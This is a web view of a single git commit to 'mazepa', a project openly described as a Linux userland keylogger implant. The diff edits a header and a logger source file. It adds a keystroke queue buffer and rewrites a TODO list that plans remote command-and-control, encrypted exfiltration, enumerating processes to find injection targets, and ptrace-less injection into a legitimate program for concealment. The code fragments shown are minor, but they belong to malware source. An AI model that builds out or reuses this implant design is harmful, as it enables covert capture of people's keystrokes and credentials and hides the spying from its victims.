mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 1c5ad0bd4f2c4952c6a61eb72571c25b5bd4281a
parent 6ef8a834b0df357cb7863f150add366813f14d40
Author: winds0r <[email protected]>
Date: Tue, 6 Jun 2023 15:47:04 +0900

wip(logger): minimal improvements

Diffstat:
Mimplant/includes/implant.h | 20++++++++++----------
Mimplant/sources/logger.c | 2+-

2 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -5,13 +5,12 @@
 /*
     TODO:
 
-    2. cleanup select handling so that it doesn't suck massive balls
-
-    3. add support for TLS communications / some kind of enc.
-
-    4. enumerate process to see which can be interesting to inject into
-
-    5. use ptrace-less process injection to inject this in a legit program
+    - add message_queue for each key logged
+    - communication with remote server (& logging if debug!!)
+    - add support for TLS communications / some kind of enc.
+    - enumerate process to see which can be interesting to inject into
+    - use ptrace-less process injection to inject this in a legit program
+    - add listener to receive commands such as (sleep, enumeration, etc...)
 */
 
 
@@ -19,6 +18,8 @@
 #include <stdint.h>
 #include <sys/queue.h>
 
+#define QUEUE_BUFFER_SIZE 1024
+
 /*
     represents whatever data is currently logged for a single keyboard
     also holds its file descriptor
@@ -27,11 +28,10 @@ typedef struct keyboard_s keyboard_t;
 struct keyboard_s {
     int fd;
 
-    ssize_t nb_characters;
+    ssize_t nb_chars;
+    char buffer[QUEUE_BUFFER_SIZE];
 
-    char buffer[2048];
     char name[64];
-
     TAILQ_ENTRY(keyboard_s) devices;
 };
 
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -45,7 +45,7 @@ static int log_keyboard(int fd, struct xkb_state *state) {
 
         /*
             TODO:
-                handle case where user presses on shift to add press a key
+            handle case where user presses on shift to add press a key
         */
 
         char key_description[256] = {0};